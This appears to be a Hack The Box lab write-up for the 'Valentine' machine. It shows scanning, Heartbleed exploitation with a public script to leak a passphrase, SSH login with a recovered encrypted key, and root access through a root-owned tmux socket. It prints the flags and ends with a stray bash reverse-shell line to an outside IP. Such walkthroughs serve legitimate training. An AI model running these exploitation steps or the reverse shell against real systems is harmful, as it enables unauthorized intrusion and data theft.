enumeration

```
nmap -sC -sV -sT -oN /home/kali/machines/retired/valentine/namp.txt
10.10.10.79
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-09 09:51 EST
Nmap scan report for 10.10.10.79
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
  1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
  2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
http-server-header: Apache/2.2.22 (Ubuntu)
| http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
http-server-header: Apache/2.2.22 (Ubuntu)
| http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/-
organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
| Not valid after: 2019-02-06T00:45:25
| ssl-date: 2021-02-09T14:55:26+00:00; +3m30s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel
Host script results:
| clock-skew: 3m29s
Service detection performed. Please report any incorrect results at <a href="https://-">https://-</a>
nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 53.78 seconds
doing nmap vuln script
http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to
debug)
                                                                 [6/31] ssl-
ccs-injection:
VULNERABLE:
  SSL/TLS MITM vulnerability (CCS
```

```
Injection)
   State:
VULNERABLE
   Risk factor:
High
    OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
1.0.1h
    does not properly restrict processing of ChangeCipherSpec messages,
    which allows man-in-the-middle attackers to trigger use of a
zero
    length master key in certain OpenSSL-to-OpenSSL communications, and
    consequently hijack sessions or obtain sensitive information,
via
    a crafted TLS handshake, aka the "CCS Injection"
vulnerability.
   References:
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
    http://www.cvedetails.com/cve/2014-0224
     http://www.openssl.org/news/secadv 20140605.txt
I ssl-
heartbleed:
VULNERABLE:
 The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to be
protected by SSL/TLS encryption.
   State:
VULNERABLE
   Risk factor: High
    OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and
1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows
for reading memory of systems protec
ted by the vulnerable OpenSSL versions and could allow for disclosure of
otherwise encrypted confidential information as well as the encryption keys
themselves.
   References:
    http://cvedetails.com/cve/2014-0160/
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
     http://www.openssl.org/news/secadv 20140407.txt
```

```
| ssl-
poodle:
VULNERABLE:
  SSL POODLE information
leak
   State: VULNERABLE
   IDs: BID:70574
CVE:CVE-2014-3566
      The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and
other
      products, uses nondeterministic CBC padding, which makes it
easier
      for man-in-the-middle attackers to obtain cleartext data via
а
      padding-oracle attack, aka the "POODLE" issue.
   Disclosure date: 2014-10-14
   Check results:
    TLS RSA WITH AES 128 CBC SHA
   References:
    https://www.imperialviolet.org/2014/10/14/poodle.html
    https://www.securityfocus.com/bid/70574
    https://www.openssl.org/~bodo/ssl-poodle.pdf
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
we see it is vulnerable to 3 of the attacks
```

```
so we see open ports as
```

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))

till now non of these seems vulnerable but ssl leaked domain name

valentine.htb

lets go to the web pages

nothing on port 80 page



lets go to https website

same page on https lets add host name and see

no host based routing so same page after adding host name

lets run nikto gobuster and searchsploit

in searchsploit i found this results for ssl

```
(root  kall)-[/home/kall]
# searchsploit OpenSSH 5.9p1

Exploit Title

OpenSSH 2.3 < 7.7 - Username Enumeration
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)
OpenSSH < 6.6 SFTP (x64) - Command Execution
OpenSSH < 6.6 SFTP - Command Execution
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading
OpenSSH < 7.7 - User Enumeration (2)

Shellcodes: No Results</pre>
```

and this for apache version

```
[/home/kali]
     searchsploit Apache 2.2.22
 Exploit Title
        + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
        < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak
        CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service
        mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow</pre>
        mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)</pre>
        mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)</pre>
        OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal
        Struts 2 < 2.3.1 - Multiple Vulnerabilities
        Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution
        Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)
        Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection
        Tomcat < 5.5.17 - Remote Directory Listing
        Tomcat < 6.0.18 - 'utf8' Directory Traversal
        Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)
        Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1) Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / R
                                  pache) - Local File Inclusion / Remote Code Execution
Shellcodes: No Results
```

we confirmed that no other ports are open

lets run gobuster

```
2021/02/09 10:30:26 Starting gobuster
/index (Status: 200)
/dev (Status: 301)
[ERROR] 2021/02/09 10:31:09 [!] Get http://valentine.htb/Health: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:31:40 [!] Get http://valentine.htb/rights: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:31:49 [!] Get http://valentine.htb/INSTALL: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:32:03 [!] Get http://valentine.htb/transport: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:32:05 [!] Get http://valentine.htb/e2: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
                                                                                                                              Get http://valentine.htb/e2: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/pikt: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/40HEX-13: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/greek: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/066: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/2050: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/500: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/footer_rs: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/3011: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/ReleaseNotes: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/ReleaseNotes: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Get http://valentine.htb/version2: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
                               2021/02/09 10:35:11
2021/02/09 10:35:47
   ERROR]
   ERROR
                                 2021/02/09 10:35:51
                               2021/02/09 10:35:51
2021/02/09 10:36:34
   ERROR
   ERROR
                                2021/02/09 10:36:43
                              2021/02/09 10:36:44
2021/02/09 10:37:47
   [ERROR]
   [ERROR]
                              2021/02/09 10:38:10
   [ERROR] 2021/02/09 10:39:48
                                                                                                                                               http://valentine.htb/version2: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
   Progress: 22635 / 220561 (10.26%)^C
!] Keyboard interrupt detected, terminating.
```

this are results with /index.php (Status: 200)

```
/encode (Status: 200)
/encode.php (Status: 200)
/decode (Status: 200)
/decode.php (Status: 200)
Progress: 25092 / 220561 (11.38%)^C
[!] Keyboard interrupt detected, terminating.
2021/02/09 11:14:54 Finished
```

so lets go to this directories

Index of /dev

<u>Name</u>	Last modified	Size Description
Parent Directory		-

hype key

13-Dec-2017 16:48 5.3K

notes.txt

05-Feb-2018 16:42 227

Apache/2.2.22 (Ubuntu) Server at valentine.htb Port 80

/encode

Secure Data Encode



Click here to use the decoder.

so going to notes

To do:

- Coffee.
- 2) Research.
- 3) Fix decoder/encoder before going live.
- 4) Make sure encoding/decoding is only done client-side.
- 5) Don't use the decoder/encoder until any of this is done.
- 6) Find a better way to take notes.

this messages means that their is a bug in encoder/decoder function and

the encoder/decoder are running on server side which mens we can run codes on box

we just have to find it out

in hype key

```
2d 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 4
46 36 39 42 46 32 30 37 34 37 38 38 44 45 32 34 41 45 34 38 44 34 36 0d 0a 0d 0a 44 62 50 72 4f 37 38 6b 65 67 4e 75 6b 31 44 41 71
61 38 52 0d 0a 35 79 2f 62 34 36 2b 39 6e 45 70 43 4d 66 54 50 68 4e 75 4a 52 63 57 32 55 32 67 4a 63 4f 46 48 2b 39 52 4a 44 42 43 35 55 4
6d 39 36 51 73 5a 6a 72 77 4a 76 6e 6a 56 61 66 6d 36 56 73 4b 61 54 50 42 48 70 75 67 63 41 53 76 4d 71 7a 37 36 57 36 61 62 52 5a 65 58
43 71 43 4a 2b 45 61 31 54 38 7a 6c 61 73 36 66 63 6d 68 4d 38 41 2b 38 50 0d 0a 4f 58 42 4b 4e 65 36 6c 31 37 68 4b 61 54 36 77 46 6e 70
69 47 64 0d 0a 70 48 4c 4a 70 59 55 49 49 35 50 75 4f 36 78 2b 4c 53 38 6e 31 72 2f 47 57 4d 71 53 4f 45 69 6d 4e
                                                                                                                                 52 44 31 6a
53 6c 35 48 71 39 4f 44 35 48 4a 38 47 30 52 36 4a 49 35 52 76 43 4e 55 51 6a 77 78 30 46 49 54 6a 6a 4d 6a 6e 4c 49 70 78 6a 76 66 71 2b 4
74 35 64 50 6a 41 6b 42 59 52 55 6e 6c 39 31 45 53 43 69 44 34 5a 2b 75 43 0d 0a 4f 6c 36 6a 4c 46 44 32 6b 61 4f 4c 66 75 79 65 65 30 66
75 6c 4f 0d 0a 74 39 67 72 53 6f 73 52 54 43 73 5a 64 31 34 4f 50 74 73 34 62 4c 73 70 4b 78 4d 4d 4f 73 67 6e 4b 6c 6f 58 76 6e 6c 50 4f
   50 4f 6e 4d 58 61 49 70 65 31 64 67 62 30 4e 64 44 31 4d 39 5a 51 53 4e 55 4c 77 31 44 48 43 47 50 50 34 4a 53
                                                                                                                                  53 78 58 37
   74 46 73 74 6f 52 74 54 5a 31 75 53 72 75 61 69 32 37 6b 78 54 6e 4c 51 0d 0a 2b 77 51 38 37 6c 4d 61 64 64 73 31 47 51 4e 65 47 73 4b
62 31 45 0d 0a 41 6c 6f 51 36 6a 67 35 54 62 6a 35 4a 37 71 75 59 58 5a 50 79 6c 42 6c 6a 4e 70 39 47 56 70 69 6e 50 63 33 4b 70 48 74 74
2b 62 71 36 35 36 33 35 4f 4a 36 54 71 48 62 41 6c 54 51 31 52 73 39 50 75 6c 72 53 37 4b 34 53 4c 58 37 6e 59 38 39 2f
63 48 63 31 36 6e 39 56 30 49 62 53 4e 41 4c 6e 6a 54 68 76 45 63 50 6b 79 0d 0a 65 31 42 73 66 53 62 73 66 39 46 67 75 55 5a 6b 67 48 41
6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55 58 6b 30 53 69 31 57 30 32 77 62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 46 75 76 34 43 4d 6e 4e 70 64 69 72 56 4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b 46 4c 36 70 71 70 75
62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59 0d 0a 70 6e 73 75 6b 42 43 46 42 6b 5a 48 57 4e 4e 79 65 4e 37
6a 41 6a 0d 0a 4d 73 6c 66 2b 39 78 4b 2b 54 58 45 4c 33 69 63 6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49
76 65 4b 50 4e 61 61 57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e 56 4d 4d 38 4c 65 43 69 69 33 4f 45 32 61 77 52 6c 58 48 39 42 72 6b 5a 47 34 46 63 34 67 64 6d 57 2f 49 7a 54 0d 0a 52 55 67 5a 6b 62 4d 51 5a 4e 49 49 66 7a 6a 31 51 75 69
68 \ 44 \ 33 \ 0d \ 0a \ 2d \ 2d \ 2d \ 2d \ 2d \ 45 \ 4e \ 44 \ 20 \ 52 \ 53 \ 41 \ 20 \ 50 \ 52 \ 49 \ 56 \ 41 \ 54 \ 45 \ 20 \ 4b \ 45 \ 59 \ 2d \ 2d \ 2d \ 2d \ 2d
```

this type of numbers lets read what notes says

lets try to decode this hype key its a hex encoded lets decode it

The decoded string:

-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4, ENCRYPTED

DEK-Info: AES-128-CBC, AEB88C140F69BF2074788DE24AE48D46

DbPr078kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3U0L0lF0xf7PzmrkDa8R 5y/b46+9nEpCMfTPhNuJRcW2U2gJc0FH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6 0EIOSbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi Ebw66hjFmAu4AzgcM/kigNRFPYuNiXrXs1w/deLCgCJ+Ea1T8zlas6fcmhM8A+8P OXBKNe6l17hKaT6wFnp5eX0aUIHvHnv06ScHVWRrZ70fcpcpimL1w13Tqdd2AiGd pHLJpYUII5Pu06x+LS8n1r/GWMqS0EimNRD1j/59/4u3R0rTCKeo9DsTRqs2k1SH QdWwFwaXbYyT1uxAMSl5Hq90D5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E p0qD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC Ol6jLFD2kaOLfuyeeOfYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ul0 t9grSosRTCsZd140Pts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5 XqhDUBhyk1C3YP0iDuP0nMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ +wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q r08pk0xArXE2dj7eX+bq656350J6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe 2VWRyTZ1FfngJSsv9+Mfvz341lbz0IWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky e1BsfSbsf9FguUZkgHAnnfRKkGVG10Vyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP 09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj Mslf+9xK+TXEL3icmI0BRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii30EW l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3 -----END RSA PRIVATE KEY-----?

at last we ran the nmap --script vuln 10.10.10.79

and we had a vulnerable output we see it is vulnerable to 3 of the attacks

VULNERABLE:

| SSL/TLS MITM vulnerability (CCS Injection)

| State: VULNERABLE

sslheartbleed:
| VULNERABLE:

sslpoodle:
| VULNERABLE:

it is vulnerable to thos 3 and we are pretty sure it is vulnerable to heartbleed as the images and name valentine suggests

lets check what is heartbleed vulnerability

we got a python script so we downloaded that

https://gist.github.com/eelsivart/10174134

```
    heartbleed.py

                                                                                                                              Raw
      #!/usr/bin/pvthon
   3 # Modified by Travis Lee
   4  # Last Updated: 4/21/14
   5 # Version 1.16
   7 # -changed output to display text only instead of hexdump and made it easier to read
  8 # -added option to specify number of times to connect to server (to get more data)
  9 # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
      # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)
      # -added option to have verbose output
      # -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and
  13 # -added option for hex output
  14 # -added option to output raw data to a file
  15 # -added option to output ascii data to a file
  16 # -added option to not display returned data on screen (good if doing many iterations and outputting to a file)
  17 # -added tls version auto-detection
  18 # -added an extract rsa private key mode (orig code from epixoip. will exit script when found and enables -d (do not display ref
```

```
___(root ⊗ kali)-[/home/.../mac
# python heartbleed.py
```

```
(root@ kali)-[/home/.../machines/retired/valentine/10174134]
# python heartbleed.py -n 10 10.10.10.79
```

and we had output this

which looks very weird lets look into it

```
Connecting to: 10.10.10.79:443, 10 times
Sending Client Hello for TLSv1.0
Received Server Hello for TLSv1.0
WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable!
Please wait ... connection attempt 10 of 10
.a....sc[ ... r....+ .. H ... 9 ...
....w.3....f ...
...!.9.8......5.......
.....0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg=..X.r..&y.$gQ.."v.s.@....SC[...r...+..H...9...
.....0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg=\..kgp..6..$.i....@.@....SC[...r....+..H...9...
...!.9.8......5......
```

we see a text repeating multiple times lets see it

```
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg=U...
....w.3....f ...
```

we have a decrypter in the valentine site lets decrypt it using that

Your input:

aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

Your encoded input:

heartbleedbelievethehype

see we have a string lets try to connect with this password with username hype which we figuredout

lets ssh but their is a problem we have to pass the RSA key and we had it in wrong format so lets again recreate the file

```
(root & kali) - [~kali/machines/retired/valentine]
# touch hype_key

(root & kali) - [~kali/machines/retired/valentine]
# nano hype_key

(root & kali) - [~kali/machines/retired/valentine]
# chmod 400 hype_key

(root & kali) - [~kali/machines/retired/valentine]
# ssh -i hype_key hype@10.10.10.79
Enter passphrase for key 'hype_key':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$
```

so here we creted the hype_key and pasted the rsa key and changed the mod to readonly then only server will accept

and then we did ssh

```
hype@Valentine:~$ whoami
hype
hype@Valentine:~$ ls

Desktop Documents Downloads Music Pictures Public Templates Videos
hype@Valentine:~$
```

we have a nice shell no need to upgrade it

```
hype@Valentine:~/Desktop$ cat user.txt
e6710a5464769fd5fcd216e076961750
hype@Valentine:~/Desktop$
```

so we have the user flag

userflag---e6710a5464769fd5fcd216e076961750

and now lets see how we can enumerate

ddownload and run LinEnum

and we found this

```
root
           1002
                  0.0
                       0.0
                             19976
                                     976 tty5
                                                   Ss+
                                                         07:37
                                                                 0:00 /sbin/getty -8 38400 tty5
                                                                 0:00 /sbin/getty -8 38400 tty2
                             19976
                                                   Ss+
                                                         07:37
root
           1008
                  0.0
                       0.0
                                     976 tty2
                  0.0
                                                                 0:01 /usr/bin/tmux -S /.devs/dev_sess
                       0.1
                             26416
                                    1668 ?
                                                   Ss
                                                         07:37
root
           1010
                                                                 0:00 /sbin/getty -8 38400 tty3
                             19976
                                    976 tty3
                                                   Ss+
                                                         07:37
           1011
                  0.0
                       0.0
root
                                                                 0:00 -bash
           1014
                       0.4
                             20652
                                    4572 pts/17
                                                   Ss+
                                                         07:37
                  0.0
root
```

a tmux session is running with root privilage

so we opened that tmux session with "tmux -S /.devs/dev_sess"

and we have a tmux with root so we have root now since it is a session with root

lets grab root flag

```
root@Valentine:/# ls
     cdrom devs home
                              lib
                                                                                    vmlinuz
                                                     proc run
                                                                 selinux
                  initrd.img lib64
boot dev
            etc
                                                     root sbin
root@Valentine:/# cd root/
root@Valentine:~# ls
curl.sh root.txt
root@Valentine:~# cat root.txt
f1bb6d759df1f272914ebbc9ed7765b2
root@Valentine:~#
```

rootflag---f1bb6d759df1f272914ebbc9ed7765b2

so bix pwned

bash -i >& /dev/tcp/10.10.14.5/1234 0>&1